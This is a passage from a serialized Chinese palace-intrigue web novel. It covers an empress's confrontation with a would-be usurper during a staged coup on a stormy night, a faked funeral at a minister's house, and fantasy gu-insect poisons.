裴源这才垂眸看了一眼那歙砚,不耐烦的表情瞬间换成了一脸正色,而后将歙砚接在手里细细打量:“哪来的?” “夏府啊。”周天韵眨眨眼:“陛下只用肉眼就察觉它的与众不同了吗?” 裴源心有疑惑,摇头道:“若朕没记错,此歙砚乃是玉镇榷场最后一次拍卖的压轴拍品。当时尚未竞拍结束,现场便乱作一团,朕本以为凤鸣卫最后将其收缴进了朕的私库,怎会流落夏府?” 周天韵耸耸肩:“臣也不知,这东西被夏凡放在阁架高处,本以为是什么难得的宝贝,结果打开一看,不过是寻常的歙砚。臣觉得此举实在奇怪,便研究了两日,终于发现了其中的玄机。” 她见凤帝一脸好奇地看向自己,便不再卖关子,取了几盏烛台至凤案后,将歙砚底部对准烛火。经过光的映照,一幅画卷竟赫然出现在墙上。 裴源先是一愣,旋即又仔细看了看歙砚。底部虽平整,却绝非镜面,肉眼完全看不出其中刻有图案。 周天韵得意洋洋地说道:“神奇吧?” 裴源懒得理会她的炫耀,再次投影出图案,仔细分辨:“朕好像在何处见过此画。” 那图案是一幅山水画。 周天韵道:“画意浩瀚无垠,山峦层叠,云雾缭绕,江水奔腾如龙,一见之下,令人胸怀激荡,这分明是一幅江山图。也 难怪夏凡将其隐匿,若被人察觉,定涉谋逆之嫌。” 江山图…… 裴源紧锁的眉宇缓缓舒展:“朕知道在哪见过了。” 在她的丰德库。 裴源正欲同周天韵细说,计安的声音从殿外传来:“陛下,文侧君有要事禀告。” 柳玉书?这么晚了他来干什么? 裴源蹙眉道:“朕身子不适,有事明日再谈。” 裴源尚未开口,柳玉书急切的声音已传入殿中:“陛下身子不适,臣本不该打扰,但此事事关皇家清誉和皇室血脉,臣不敢拖延!故请陛下见臣一面!” 皇家清誉和血脉? 目前后宫有且仅有一丝血脉,那就是秋康时所生的太女,听柳玉书的言辞,看来是他寻到了证据。 周天韵见凤帝神色不对,担心追问:“陛下,您怎么了?” 裴源未语,只缓步登上凤椅,沉声道:“宣。” 随着殿门缓缓而开,柳玉书迈步而入,立在堂中后屈身行了一礼,义正词严道:“陛下,臣今晚偶见慧君与侍卫同入空置宫舍,她们走后,臣去看了,真是好大一张床。” 殿中一时陷入死寂。周天韵瞪大了眼睛,仿佛听到了天下的八卦,惊得下巴都快掉下来:“啊,这……” 裴源的凤眸微微一抬,眼中闪过一丝冷冽,但很快又恢复了平静,让人看不清喜怒。 柳玉书又道:“唯恐误会慧君,臣已将慧君身边的皮青抓获并严刑拷打,皮青交代:太女并非陛下血脉!” 此言一出,周天韵倒吸一口凉气。 而凤案后凤帝的脸色愈发阴沉。 良久的沉默间,裴源忽而觉得胸口剧痛,隐隐有股腥甜自喉咙上涌,她紧紧握着拳头,极力克制鲜血喷涌。 数息后,柳玉书偷偷瞥向凤帝,只见凤帝凤眸低垂,神情莫测。 柳玉书见势,突然跪在地:“陛下如今重疾在身,且慧君之母秋燕楠又是监管皇宫防守的凤武将军,若秋燕楠得闻此事,恐生恶念。为了陛下清誉与安危,臣越俎代庖,擅自做主,传了消息给各位宗亲及大臣入宫,替陛下主持公道!还望陛下恕罪!” 裴源微微抬眸,目光如刀般看着凤案上的歙砚,良久的注视后,才冷冷注视着周天韵。 周天韵初时只是状况外,可渐渐地,莫名觉得毛骨悚然,只是不安道:“陛、陛下怎么这样看着臣?” 彼时,城外齐府。 随着齐府的大门缓缓敞开,一阵狂风呼啸而至,吹得乌宛白的白衣袂角猎猎作响。一道闪电划破长空,似要劈开天幕,将夜空照亮得宛如白昼。乌宛白下意识地抬头望天,只见层层叠叠的乌云被狂风裹挟着飞速奔涌。 乌宛白轻叹一声,仿佛在为齐翁的离世而哀伤。 惊天的雷鸣声在头顶炸响,乌宛白已迈入大门。齐府众人早已等候在外,纷纷跪地叩首。 乌宛白宣读完圣旨,齐老爷神情哀戚,缓缓举起双手,恭敬地接过圣旨,叩谢圣恩。 乌宛白轻轻扶起齐老爷,又从袖中取出一只锦盒,双手递上,道:“齐老爷,凤帝口谕,齐翁乃我朝有功之臣,亦是她最信任之人,故特意交代,要将此锦盒交予齐翁之手,与之一道下葬,以慰其泉下之心。” 齐老爷缓缓抬起头,本就颤巍巍的身躯,在疾风中摇晃得愈发厉害。他沉默了片刻,声音沙哑:“陛下垂爱,臣夫本不该拒绝。然,妻主的棺椁早已封棺,骤然开启,恐扰妻魂魄不宁。” 乌宛白微微一愣,语气中带着几分惊讶:“这么快就封棺了?” 齐老爷声泪俱下,声音颤抖着说道:“妻主自致仕后,身子和精神都大不如前,吃了多少补药都不见好转。臣夫也是没法子,便请了高人回来。妻主对此人颇为认可,匆匆封棺便是那高人点拨。臣夫想,若是妻主知道,也定会同意的。”他轻轻拭去眼泪,浑浊的瞳孔里布满血丝,语气哀恳:“乌尚宫可否替臣夫在陛下面前转圜一二?” 乌宛白微微蹙眉,神情有些为难:“这……” 齐老爷哽咽着又道:“乌尚宫,老夫不似妻主那般见多识广,说的话若不周全,您也别见外。” 乌宛白急道:“齐老爷,您有话尽管讲,我一定尽力转达。” 齐老爷微微摇头,语气中带着几分无奈:“妻主历事三朝,没有功劳也有苦劳。想来,陛下若得知原委,也不会叨扰妻主安宁。” 乌宛白轻叹一声,神情略显为难:“死者为大,咱家本不该拒绝,可这陛下的旨意在此,咱家也不敢贸然应下……”她稍作沉吟,接着说道,“这样吧,咱家亲自入了灵堂,当着齐翁的面亲自取了其中之物,让她老人家瞻仰一二。如此,既不用开棺,也算完成了陛下的嘱托。” 齐老爷微微点头,声音低沉道:“那老夫陪尚宫一起。” 乌宛白却轻轻摇头,拒绝道:“锦盒内放着陛下最爱之物,也有陛下要对齐翁说的话,外人在场恐怕不妥。” 齐老爷还想再说什么,却被乌宛白打断。她神色严肃道:“齐老爷,事关陛下与齐翁私事,您可不要犯糊涂啊。” 齐老爷不敢再贸然相阻。禁军很快就将灵堂围得水泄不通,乌宛白独自步入,不过片刻,灵柩前的烛火忽而压弯。乌宛白急忙相扶:“君后,您小心。” 陆长行稳稳落地,两人随后便围着灵柩转了一圈。陆长行轻轻抚摸着棺盖上的镇魂钉,低声道:“果然已经钉死了。” 乌宛白微微皱眉,不解道:“这齐翁刚一离世,齐家便迫不及待地封了棺。这不是摆明了想要告诉大家,齐翁之死有鬼吗?这齐家到底打的什么主意?” 陆长行看向她,问道:“你猜,若陛下在皇宫听闻此事,会怎么做?” 乌宛白沉吟片刻:“陛下自然会认定齐翁的死为谋杀,并会下令命三司前往齐府,开棺验尸,以求真相。”她沉默片刻,又道:“但开了棺后的结果,要么是齐翁寿终正寝,自然老去;要么是身中奇毒,惨死而亡。” 乌宛白眉心拧成了一个“川”字:“若是前者,陛下定会背负不尊死者的骂名;若是后者……”她沉吟道:“若齐翁真是毒死,她们理应想办法遮掩才对,这么早封棺,无疑是不打自招,齐家人不可能这么蠢。” 她狐疑道:“总不能是齐家人猜到了陛下的想法,所以兵行险招吧?” 陆长行冷声道:“探探便知晓了。” 陆长行抬腕轻叩了几下银镯,乌尚宫不再言语,目光落在棺盖的缝隙上。数息之间,就见跳蚤大小的虫子从棺中爬上了陆长行的指尖。 乌宛白忍不住凑上前,发现那小虫竟在啃咬陆长行的皮肉。那虫虽小,口齿却十分凌厉,不过几息工夫,陆长行的指尖便沁出了一滴血珠。小虫饱餐一顿后,便爬进了银镯里。 “棺椁有人,岂非毒发而亡。”陆长行将剩余的血随手捻去,开口道:“齐家这么早封棺,无外乎要面对两个局面:一是陛下生疑,开棺;二是陛下生疑,但置之不理。一半一半的占比,齐家人敢赌吗?何况陛下如今已是病入膏肓之人……” 他指尖轻点着齐翁的棺椁,良久,忽而面色大变:“陛下有危险!” 第79章 第79章晋江文学城 疾风从门窗的缝隙中呼啸而入,似夜半深山中猛兽的嘶吼,令人闻之生惧。不消片刻,豆大的雨滴便噼里啪啦地砸落在地,声势浩大。 紫宸殿中 灯火通明,气氛却比寒潭还要冷峻。偶尔有男子的抽泣声在殿内响起,更添几分压抑。 秋康时面色惨白,跪在殿中,神情惊恐。他的母亲与那所谓的“奸妇”被人捂住口,束缚四肢,强行压跪在一旁。太女在西川王的怀里睡得不安稳,一阵呼啸声穿透窗棂,惊得孩童惊醒啼哭。 西川王微微蹙眉:“果然是野种,连个风声都能吓成这样!” 说着,西川王不耐烦地将孩子递给了身边的随侍。随侍一不小心脱了手,孩童便直接摔在了地上,“哇——”的一声哭嚎瞬间响彻了整个宫殿。 秋康时登时如疯了一般向孩童爬去,却被宫侍紧紧按压在地。孩子撕心裂肺的哭声中,秋康时不住唤着孩子的乳名,奈何挣扎不得,只得重重向凤帝叩首:“陛下,臣错了!陛下要杀要剐都好,可孩子是无辜的!陛下!” 凤帝端坐凤椅,冷冷注视着殿中的每一张脸,神情莫测。 似觉得吵闹,西川王一拂手,便让乳父带着孩子下去了。而后他才面向凤帝,懒懒道:“陛下,您也听到了,这慧君自己都承认了,孩子是他与奸妇所生,竟还敢蒙蔽圣上,霸着太女之位。妄想动摇正统、玷污皇室血脉,可见这凤武将军是藏着谋逆之心。” 西川王言罢,缓缓抬步走向秋燕楠,居高临下,冷眼睨着她:“去年本王回京,秋将军仗着慧君这一胎,何其威风!不仅连本王的面子都不给,更指着本王父君的脸破口大骂!污蔑太慈谋害皇嗣,谁能想到?这皇嗣竟是个野种!秋燕楠,你不会妄想着,这野种能继承大统吧?” 手脚被束缚的秋燕楠满头冷汗,恐惧至极,竟连呜咽都发不出来。 西川王冷哼一声,已然将自己视作今日的主宰,照着秋燕楠的心口猛踹数下,直至堵在她口中的帕子浸满了鲜血,方才作罢。 看着母亲疼得抽搐,一旁的秋康时又是一阵惨叫哀嚎。一想到今日局面皆因自己而起,他绝望地晕死过去。 西川王看着这一切,嘴角微微上扬。 聒噪的源头终于被切断,局面也该走上正轨了。 西川王盯着凤帝,语气中带着几分逼迫:“陛下,太女非裴氏血统,自是留不得了。陛下如今病入膏肓,想来也没几日可活了。那这凤位,总不能空着吧?” 裴源低着头,手指轻轻摩挲着拇指上的黑玉扳指。片刻后,才懒懒抬眸,语气轻飘飘道:“那依你之见,这凤位要传给谁啊?” 西川王微微一笑,语气中带着几分自得:“本王不才,愿为陛下分忧。” 裴源点了点头,转眸看向殿中不请自来的诸臣,语气淡然:“诸位爱卿的意思呢?” 众臣颔首垂眸,闻言笑而不语。 西川王以为这是默认的意思,笑容愈发得意。一旁的太慈更是急不可耐,语气中带着几分急切:“源儿啊,你四皇姐也是为了你的身体着想。你看看你整日病恹恹的,还要担忧国事,未免过于辛苦了。不妨当着诸位大臣的面写个让位诏书,从此也能安心静养不是?” 裴源脸上的笑意更深,转头看着身边的几个后君:“几位爱君也是如此想的?” 君后带着面纱,微微福了一礼,语气恭敬却带着几分试探:“虽说后宫不得干政,但若是为了陛下的身体考虑,臣以为太慈之言有理。” 裴源点点头,视线移向周天韵。周天韵神色萧然,似察觉到凤帝的注视后抬头,微微一笑:“陛下,臣今日就是过来献宝的。其他的,臣也不懂。” 裴源轻“嗯”了一声,又看向柳玉书:“今日这热闹是文侧君一手促成,事到如今,不说两句吗?” 柳玉书颔首道:“臣只是不忍见陛下遭奸人蒙蔽。何况太女之位关乎着江山社稷,臣作为陛下之君,自要为陛下分忧。” 裴源又瞥向柳玉书身后的韩柏。与前三君的冷静沉着不同,唯有他脸色惨白,无比惶恐。他不知发生了什么,却也能感受到局面不对劲,所以下意识就躲在了柳玉书的身后,就像平常那般。 察觉到凤帝的注视,韩柏不知是情绪所染,还是恐惧作祟,竟一下子泪水涌出,语无伦次道:“臣不知道,臣什么都不知道。” 裴源凝视他良久,抬手召他道:“过来。” 韩柏满心不安,只是紧紧攥着柳玉书的衣袖,似乎柳玉书比凤帝更让他心安。 西川王见状,嗤笑出声,语气中满是轻蔑与讥讽:“陛下啊陛下,国事您治理得如何,暂且不论。只看看这后宫,慧君与侍卫苟且,还生了野种;宸贵君、淑君、李卿君、傅侍君的宫殿全都空着,各个都不知去向;凰贵君又是一副病歪歪的样子。满打满算凑齐了四个,似也都未将您放在心上。您这后宫,当真是乱得一塌糊涂,连几个男人都管不住,竟还妄想治理天下?您自己不觉得可笑吗?” 裴源闻言,嘴角微微上扬,语气却透着几分冷意:“朕又不是金银财帛,未得人人喜爱,有何奇怪?” 她抬头直视西川王,目光如刀:“倒是你,若今日朕将这凤位给了你,你确定自己接得住吗?” 西川王微微一愣,旋即冷笑出声,语气中带着几分狠厉:“陛下昔日还是王卿时,曾对本王说过这样一句话:暴雨,会冲刷掉所有的罪证。本王深以为然,铭记至今,故而特意选了这暴雨夜,带着诸位大臣前来逼宫!如今,整个皇宫的禁军皆已落入本王之手,陛下身边的后君尽数已向本王投诚,紫宸殿的宫侍也早已被本王牢牢掌控。如今的陛下,已是穷途末路,身侧无一可用之人。本王劝陛下一句,乖乖写下让位诏书,还能保全几分体面。待明日天晴,陛下驾崩的消息传遍京城,本王自会确保陛下依旧是百姓心中那位与菩萨签订契约的仁德凤帝。” 裴源仿佛听到了天大的笑话,大笑出声:“朕原以为裴爽是八个皇女中最蠢的,没想到你才是最天真的那个。被人当成靶子放在明面上这么多年,你竟一点都未察觉不对?甚至还自以为是的认为:自己已经经掌控全局?” 见西川王脸色阴沉,裴源语气愈发冷冽:“你以为这些大臣是你带进宫的,她们就都是你的人了吗?” 裴安一愣,下意识回头看了眼身后的诸臣。昔年母皇在位时,她们便是西川王府的常客。后来她去了西境,她们依旧替自己筹谋。自一年前回京后,她们更是对自己鞠躬尽瘁,扶持着她在朝堂上站稳了脚跟,有了一席之地。 念及此,裴安猛然转过头,怒视裴源,咬牙道:“死到临头,你还在此挑拨离间!”她看向凤帝身侧的羽扇,语气中带着几分急切:“羽扇!” 羽扇低垂的眸子微微抬起,柳叶般的眸子轻眨,似是没有明白西川王的话外之音。 裴安眉头紧蹙,似是意识到羽扇叛变,一时之间,只觉得熊熊怒火在心中燃起,言辞讥讽道:“贱人!不过是做了几日君后的位置,真当自己飞上枝头变凤凰了?莫要忘了,当初是谁救下了你!教你谋生的手段!否则凭你低贱的身份,焉能踏入皇宫?” 羽扇的柳叶眸微微弯起,语气中带着几分冷意:“西川王这是哪里话?当初奴家是晕倒在了您的马车旁,可若不是奴家生了这双眼睛,您会屈尊救下奴家?至于谋生的手段?住进御宴楼,成了女人玩弄的倌郎,这不是下面长个东西就能做到?怎成了您教的手段?莫非,奴家这东西,是您给的?” 裴源:“……” 羽扇话音方落,殿中忽而传来一声不合时宜的轻笑,打破了殿中凝重的氛围。 裴安本就满心怒意,闻声瞬间回头,目光如剑般寻到了声音的源头,竟是太府卿聂秀慧。 聂秀慧迎着裴安的冷眼,只是微微耸肩,神情自若,毫无惧意。 只一瞬间,裴安心底的不安终于如暗潮涌动。 她终于察觉出了不对经。所以,她第一次正色审视起在场的每一个臣子。众人虽依旧恭敬侧立,但氛围却与在宣政殿的朝会毫无二致,全无逼宫的紧张与肃杀,反而像是被半夜三更唤入紫宸殿,应付了一场无足轻重的“晚朝”。 察觉到裴安的审视,众人皆缓缓抬眸,目光逐一与她相接。往日里熟悉的恭敬与熟稔早已荡然无存,取而代之的,是淡漠疏离,仿佛在看一个与己无关的陌路小丑。 还是周天韵打破了沉默,语气中带着几分玩世不恭,缓缓说道:“陛下,大半夜的就莫要耽误大家功夫了。西川王想要让位诏书,陛下 给她便是。如此一来,诸位大臣清君侧时,也有了向天下人展示的‘证据’,不是吗?” 裴安下意识回过头,目光落在周天韵身上。她一脸漫不经心,嘴角微微上扬,神情间满是讥讽之意。 裴安自以为这些年礼贤下士,故而深得人心。起初尚有几分戒备,可时日一久,面对一张张主动投诚的谄媚之态,以及那看似诚恳的投诚之礼,她竟真的以为自己运筹帷幄,成了暗处的霸主。却不料,这些年,这些人的暗中追随,竟皆是虚情假意。 “你们……” 裴源眼见裴安的脸色由得意变得铁青,再由不可置信变成了惨白一片,不由暗叹一声。 哄人开心,并非易事。然而,若有一群人,既能表忠心,又能设身处地为她谋划,里应外合,相互打掩护,哄着她、陪着她,一哄便是许多年,让她彻彻底底得了好处,也让她实实在在享受到了权力的实感,如此用心良苦,任谁都会迷了心窍,沉醉其中,难以自拔。 唯有太慈还在状况外,一脸懵懂地问道:“清君侧?清谁?” 裴源白了他一眼,语气中带着几分无奈:“清朕!行了吧?” 周天韵轻笑一声,尚未来得及调侃,就听凤帝冷冷道:“都这个时候了,再藏下去就不礼貌了吧?既然想要朕的凤位,那便自己出来拿啊!如此畏首畏尾的老鼠做派,还妄想逼宫?不怕说出去贻笑大方吗?” 殿中静默一瞬,忽而响起一阵车轮碾过地面的声响。众人纷纷回头望去,周天韵更是迈步走下高台,对来人恭敬一礼:“臣不辱使命,终探得江山图下落。” 彼时,齐府。 府兵受齐老爷之命,早已将灵堂门窗钉死。若非大雨磅礴,此时的灵堂怕是已经陷入一片火海之中。 乌宛白、君后、陆萧玉及随行的十余名禁军,全部被囚禁在了灵堂里。乌宛白反复踱步,时不时张望着皇宫的方向,哽咽道:“这可怎么办啊,后宫现下除了凰贵君,便是陛下。两个病秧子凑在一起,岂不任人宰杀?” 陆长行则凝望着雨幕,语气沉稳道:“有老太尉在,她们是不敢动凰贵君的。” 乌宛白闻言一愣,继而一拍大腿,惊道:“那此刻陛下,岂非一人应对环伺群狼?” 陆萧玉愤而起身:“那我们就杀回去!” 乌宛白忙拉着她,无奈道:“我的祖宗,门窗钉得死死的,你快省省力气吧。” 陆萧玉怒然道:“难道就什么也不做了吗?” 乌宛白重重叹了口气。 带着圣意威风凛凛而来,如今竟成了阶下囚。谁出去还真是讽刺! 暴雨连绵不绝,细碎的雨水被风吹入窗棂,狠狠击打着陆长行的脸。因带着面具,他感受不到一丝温度与疼痛,只听暴雨的拍打声格外清晰,似有回响一般。 回响? 陆长行狐疑地回过身去,漆黑的眼眸落在身后的棺椁上。他缓缓行至棺椁旁,贴耳倾听,沉闷的拍打声与微弱的“救命”二字,清晰入耳。 陆长行眸色一凝,低喝道:“快掀棺,里面躺着的是曾芩燕!” 陆萧玉一愣,忙不迭地带领众人开始撬棺。奈何棺钉入木极深,又无趁手的工具,众人只能持佩刀一点点撬开棺盖。 漫长的等待后,憋闷许久的曾芩燕面色青白地趴在棺椁上,大口喘息:“谢天谢地,终于又活过来了。” 陆萧玉急忙扶她出了棺椁,急切地问道:“你怎么被关在棺材里?” 曾芩燕扶着胸口,微微喘息,待气息稍平,她打量了一番灵堂,无力道:“还能为什么,发现秘密被灭口呗。” 她起身,缓步走向后墙,语气中透着几分笃定:“这灵堂曾是一间杂物房,地处偏僻,两个月前突然修缮,我便觉得奇怪,没想到竟是用作埋葬活人的墓穴。” 她伸手轻抚后墙,继续道:“万幸我留了个心眼,让当时的工匠偷工减料。只维持了主家体面,明面上的雕花砖石和瓦片做的精致,而后墙原有的两扇窗,只买通匠人用土砖敷衍垒建。轻而易举就能被击穿。今日暴雨,门外不好点火,我们可在内部起火,以此分散她们的注意力。” 她说罢,猛的踹了墙面一脚,原本光滑的墙面竟簌簌掉落下土渣来。 众人皆是一片喜色,一面替她打着掩护,一面加快了墙面的凿击。很快,墙面就漏出了一个洞口。 陆长行看着洞口忽而问道:“陛下是早就知晓齐府不忠了吗?” 曾芩燕随口回道:“也不是很早,这几日而已。” 风势越来越大,豆大的雨点拍在人脸上,让人连眼睛都睁不开。 申敬挡着眼睛,一路冲进了正厅,庄与之急急迎上:“怎么样?” 申敬抹去额头上的雨水,沉声道:“府门外都是暗哨,士兵候在街头巷子里,差不多上千人。” 庄与之本欲回宫,可尚未到城门,便被母亲连拖带拽地拉回了府。方知今夜西川王携诸臣入宫,意欲逼宫。听到申敬之言,神色焦急,忙回头冲到裴丰羽身侧:“父亲,你快想想办法啊!” 裴丰羽却依旧淡定自若,轻轻饮了口茶,语气淡然道:“想什么办法?左右你又不得宠,她死便死了,爹给你寻个更好的女子入赘,岂不更好?” 庄与之一脸愕然与震惊:“父亲!” 驸配庄绿夏削了块果子递到裴丰羽手边,闻言道:“和你父亲喊什么?先前不是你自己哭着喊着求你父亲把你接回府?说自己不受待见,说郭嘉安恃宠而骄,还说诸君都看你不顺眼。怎么?人家就给了你点甜头,你就全然忘了自己是怎么被冷落三年的?” 庄与之急道:“就算如此……你们也不能见死不救吧?父亲,你不是说过,自家人是内耗之争,决不能让外人坐收渔利。难道你都忘了吗?” 裴丰羽抬眸瞥了他一眼,语气轻飘飘的:“那我改变主意了。因为我发现,无论谁是凤帝,大皇子府的地位都不会减,我干嘛吃饱了撑得替她出头?” 庄与之一愣,站在原地沉默了良久,莫名觉得眼眶一热:“你们不救!我救!”说着,负气转身而去。 庄绿夏见状,轻叹一声:“儿大不由娘啊。” 裴丰羽白了她一眼,起身道:“走吧,一道去凑凑热闹。” 第80章 第80章晋江文学城 戌时已至,御宴楼内一片狼藉。终于在一处隐秘的暗室中,寻到了解药。 韩惜灵看着眼前匣子里的药瓶,冷冷地瞥了一眼脚下遍体鳞伤的白袖:“早说不就好了?非要吃这苦头。” 鲜血早已将白袖的衣衫染成鲜红,他抬起头,冷冷地看着韩惜灵,眼中满是不甘与怨毒。 韩惜灵却似毫不在意,只将其中两个较为特殊药瓶揣入怀中,转身离去时,轻飘飘地留下一句话:“留着也是祸害,都除了吧。” 暴雨如注,丝毫没有停歇的迹象。随侍忙撑着伞上前,韩惜灵侧身望向东区。登仙阁与思贤阁两座楼宇的灯火,在雨幕中闪烁,仿若夜空中为迷途之人指引方向的星辰。 她默默凝视良久,直至马车驶至御宴楼前,才缓步下了台阶。 马鞭凌空挥过,击得雨滴四溅。马儿一路疾驰。途径京兆府衙署门前时,马车停了片刻,京兆府少尹燕书艺登上了马车。 阴潮的空气中,韩惜灵身上的血腥味格外清晰。燕书艺忍不住打趣:“好歹与你有过几夜欢好,怎么下得了这么重的手?” 韩惜灵懒懒掀了掀眼皮,语气中带着几分漫不经心:“喜欢早说啊?我适才还能留他一命。” 燕书艺慌忙摆手,语气里满是抗拒:“你快饶了我吧,各个都跟成了精似的,一旦招惹上,不磨掉一层皮也要丢掉半条命,苦头吃一次也就罢了。” “现在不用吃苦头了。”韩惜灵抬脚踹了一下脚边的药匣,发出清脆的叮当声响:“解药都在这儿。” 去年初春,刘丝柳惨死在御宴楼。韩惜灵奉命查办,却 被楼里的白袖乱了心神。她也说不上白袖哪里好,只是与他视线相对,便让她心痒难耐。一贯冷静自持如她,第一次有了救风尘的荒唐心思。 若不是那晚燕书艺叩门而入,警示了几句,她迟早会溺死在白袖的温柔乡里。 燕书艺随手取过一瓶解药,透过塞子轻轻嗅了嗅,那味道怪异莫名,令人难以言喻:“不是说苗翎谷中能控制蛊虫的皆是女子吗?为何白袖也能控蛊?” 韩惜灵淡淡道:“那是因为男子皆是虫蛊的饲料。以身饲蛊,需耗费诸多精气,熬不过的便沦为生育的工具,直至油尽灯枯;唯有命硬之人,方能熬过此劫。一旦活下来,那只虫蛊便会只忠于男子一人,且威力不容小觑,被称之为蛊王,能威慑百虫。它栖居于苗银镯内,自繁自衍,蛊籽生生不息,取之不尽,直至宿主死去。” 燕书艺露出一个嫌恶的表情,微微皱眉:“咦~” 马车一路向前,途径拐角时,被一辆突然冲出来的马车快行了一步。燕书艺打了个晃儿,手中的解药滑落在地。她弯腰去捡,药瓶竟又滚远了。心中莫名燃起了无名火,她掀起车帘,对前面破口大骂:“梅希蓝,你奶奶个腿!抢先一步还能上天不成?” 兵部郎中梅希蓝将长剑探出车窗,铿锵有力的声音混杂在雨水里,最后被风吹入了燕书艺的耳中。 “不服单练!” 燕书艺冷哼一声:“泼妇!” 大雨如注,洗刷着京城的每一条道路。太学府的最高处,南阳王俯瞰而下,无数马车在街头巷尾穿梭前行,化作锦盒大小,行进的方向直指西应门。 “今夜的紫宸殿,想来会十分热闹,王卿不去看看吗?” 南阳王收回视线,转而看向只隔着两条街的登仙楼。楼灯闪烁,似有自己的节奏,与风雨交织,自有一番韵律。 “比之紫宸殿的热闹,本王更好奇今夜的风雨,到底是陛下早有预料,还是东海菩萨又点化了神子?” 傅逸春看着不远处控制楼灯机关的妹妹傅艺,淡淡回道:“西门神子每日三卦,一卦赠信徒,一卦占国事,一卦问帝安,向来未有差池。” 南阳王似不认同,微微摇头:“鬼神之说,何以为信?” “陛下曾说,疑人不用,用人不疑。”傅逸春看向南阳王,语气平静:“她信的从不是鬼神,而是西门这个人。” 他言罢,取了伞转身下了阁楼,“时辰已晚,我就不奉陪了。人多地儿小,再不去没位置了。” 南阳王:“……” 戌时二刻,趁着周天韵去丰德库取江山图的功夫,齐翁坐在轮椅上,好整以暇地打量着小凤帝,语气中带着几分调侃:“自老身请旨致仕至今,已有半年光阴。如今陛下看起来,怎么还不如老身精神?” 裴源端坐凤椅,居高临下地睨着轮椅上的齐翁,语气冷淡中带着一丝讥讽:“托您老人家的福,朕这一年可是吃了不少苦头。” 齐翁微微一笑,笑声浑厚,哪里像上了年纪的老者:“可老身怎么听闻,陛下并未中毒,这一年不过是在演戏?” 裴源挑眉,目光锐利:“您又如何确定,装病不是在遮掩有病之实?” 齐翁愣了愣,旋即点头,语气中带着几分叹服:“血槿散却有腐蚀肠胃之效,陛下这一年茶饭不思,辛苦了。” 裴源面无表情道:“茶饭不思,倒还撑得住,但这时辰还扰朕清梦,朕着实不太开心。” 齐翁笑笑:“是老身的不是,但既已叨扰,不妨与陛下多聊几句家常。毕竟过了今夜,就算老身想,恐也再无机会叨扰陛下。” 裴源嘴角微微一勾:“也好,朕也很想知道,在朝堂上已坐到了一人之下万人之上的位置,您为何还是贪心不足?” 似是坐得累了,齐翁从车轮旁抽出自己的紫檀手杖,身后的黄裙女子忙上前搀扶他起身。 “陛下可知老身这紫檀杖从何而来?” 裴源瞥了一眼,语气淡然:“听闻是太祖御赐,杖头镶嵌的夜明珠,还是东海王进贡的。可见齐翁自太祖起,便是帝王器重之臣。” 齐翁微微点头,抬手轻轻抚摸着手杖,语气中带着几分感慨:“是啊,太祖乃乱世中突起的枭雄,英勇魁梧,气吞山河,展臂高呼,引来无数英豪相助。可惜老身不过一文弱士人,只能在太祖身边做一个小小幕僚。” 她说到这里,浑浊的瞳孔中透出几分凌厉:“这紫檀杖,又名‘杖责’。陛下可知其意?” 裴源语气平静:“愿闻其详。” 齐翁微微眯眼,缓缓道:“太祖登基之后,那些与她一同奋勇杀敌的姐妹,有的封了王卿,有的得了爵位,有的赐了封地,有的成了将军,甚至稍识得几个字的粗人,也都被封赏了三品以上的官位。偏老身这个出谋划策的军师,只得了一个七品的巡按御史以及这根紫檀杖。还美名其曰,这是她对老身报以厚望。实则却在敲打老身,告诉老身只有问责罪臣之权,却无斩首罪臣之权,警告老身,不要生出不该有的妄念!” 裴源沉吟片刻,语气平静却透着几分冷意:“你不甘心,于是为了报复太祖,便将从苗翎谷中救出来的常氏郎,送入了后宫。” 齐翁冷笑一声,语气中带着几分讥讽:“他说自己擅情蛊,能让天下的女子为他着迷,荒唐。他若真有此能,便不会身陷囹圄,沦为蛊虫的饲料。不过他倒也提醒了老身,以蛊相控帝王,让其迷乱心智,倒也未尝不可。于是老身就做了个顺水人情,将他送到了太祖身边,没想到,效果比老身想象的还要好!” 她说到这里,放肆大笑,似将埋藏在心底多年最得意的秘密,公之于众,畅快淋漓。 裴源待她气息稍平,方才又道:“那之后,你也受到了太祖的器重,成为了母皇的老师,可你依旧不满足。只因从常氏郎一事中,你尝到了愚弄帝王、将帝王玩弄于股掌之上的快意!” “不错!”齐翁神色疯癫,语气中带着几分得意,“先帝登基初,她尚能事事向老身请教,可不过几年,她竟脱离了老身的控制!老身怎能放任于她?于是,老身又去了一次苗翎谷,这次老身精挑细选,带回了一个身怀蛊王的男子!”她说到这里,凝视着凤帝,笑得不怀好意:“陛下可知,那男子是谁?” 裴源懒懒道:“朕的父君,沈承谦。” 齐翁一愣,旋即露出一副了然之色:“你很聪明,但你的父君就没那么聪明了。还说什么能控百虫,能施百蛊?结果连个情蛊都控制不了,自生下你后,便成了一个没用的废物!” 裴源微微颔首,垂眸片刻,终是没忍住,笑出了声。 齐翁满腹不解:“你笑什么?” 裴源抬眸看着齐翁,语气平静却透着几分讽刺:“有件事,你可能搞错了。能育出蛊王的男子,并非因为命硬,而是幼时未吞食育籽,因而保有纯阳之躯。蛊虫食纯阳之血长大,自会在血脉上压制得住食混沌之血养大的蛊虫。” 殿中沉寂许久,齐翁更是愣在原地,似是想到了什么。 于是,裴源凝目,一字一句道:“所以,朕并非父君所生,而是母皇亲生之女!” 众人再次愕然,一时之间,殿中鸦雀无声。 唯有淑太慈怒急呵斥:“不可能!” 裴源冷冷瞥他一眼,仿佛在看一个跳梁小丑:“是与不是,朕无需向你证明。晚些时候入了黄泉,太慈亲自向母皇询问便知!” 裴源微微一顿,继续道:“十个月前,京城流传出一个十分荒谬的流言,说我裴氏出情种,太祖深爱常氏郎;先帝深爱沈氏郎,先前君后嫉妒沈氏郎得宠,从而害死了沈氏郎。先帝为了给心爱的人复仇,从而将先前君后贬为庶人。” 她抬头看向众人,语气中带着几分正色:“今日朕,势必要为母皇父君正名:母皇她多情多欲,一生都无钟爱男子,甚至怨恨父君害她尝尽生育之苦,从而冷落。父君亦不屑沦为女子玩物,所以身死前曾留遗言给朕 ,若有一日朕登基为帝,不必追封他为太尊。” 殿中沉寂数息,桑雅可终忍不住道:“陛下同臣等解释这些做什么?那流言便是臣等传播出去的,臣等自知是假的。” “有没有一种可能?她是解释给本宫听的呢?” 声音自门外传来,众人寻声望去,紧闭的殿门忽而被人推开,竟是裴丰羽从容踏入其间,他一路凝视着裴安,语气中带着几分调侃:“小四,好歹本宫也是你的皇舅,怎么逼宫这么大的乐子,也不让人通知一声?” 见众人皆是警惕地望着他的身后,裴丰羽笑道:“放心吧,本宫独自前来,身后没人。”他看向裴源:“进展到什么程度了?本宫可来晚了?” 